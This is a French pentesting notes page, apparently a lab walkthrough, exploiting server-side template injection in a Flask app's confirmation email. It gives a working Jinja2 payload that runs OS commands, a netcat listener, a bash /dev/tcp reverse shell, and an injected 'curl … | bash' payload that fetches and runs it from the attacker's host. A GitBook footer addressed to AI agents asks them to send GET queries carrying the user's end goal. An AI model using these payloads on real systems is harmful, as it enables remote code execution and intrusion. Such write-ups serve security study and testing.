> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md).

# SSTI et Mail Flask

## SSTI :

En observant la configuration, nous remarquons que si nous modifions le nom de notre configuration, un e-mail de confirmation est envoyé. Cela peut être une opportunité pour une attaque SSTI.

<figure><img src="/files/fe7a18b4d569861d8d20090c48bf468e31bb09e5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d62e7a248028ccc8fbca7c06bb42387e87169281" alt=""><figcaption></figcaption></figure>

Nous testons avec une charge utile de type :

```bash
{{ 9*9 }}

```

Si le résultat est `81`, l'application est vulnérable.

<figure><img src="/files/5162172f02df5a049fce5048fc36ab3ebc4235a4" alt=""><figcaption></figcaption></figure>

Nous confirmons que l'application est vulnérable et testons l'injection de commandes avec une charge utile provenant de `payloadallthethings`:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

ID de la commande :

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="/files/d572cb96a0d12c8a0cb3193cab1aa688cf219036" alt=""><figcaption></figcaption></figure>

Nous réussissons à exécuter un shell inversé en écoute sur le port 443 :

```bash
nc -nlvp 443

```

Nous créons un fichier `index.html` avec le contenu ci-dessous pour exécuter un shell inversé

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

```

Puis nous démarrons un serveur HTTP avec Python :

```bash
python3 -m http.server 80

```

Nous envoyons la charge utile avec `curl` pour récupérer et exécuter la commande :

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}

```

<figure><img src="/files/38cffb45c88620048553ab1d9637133c575a5217" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
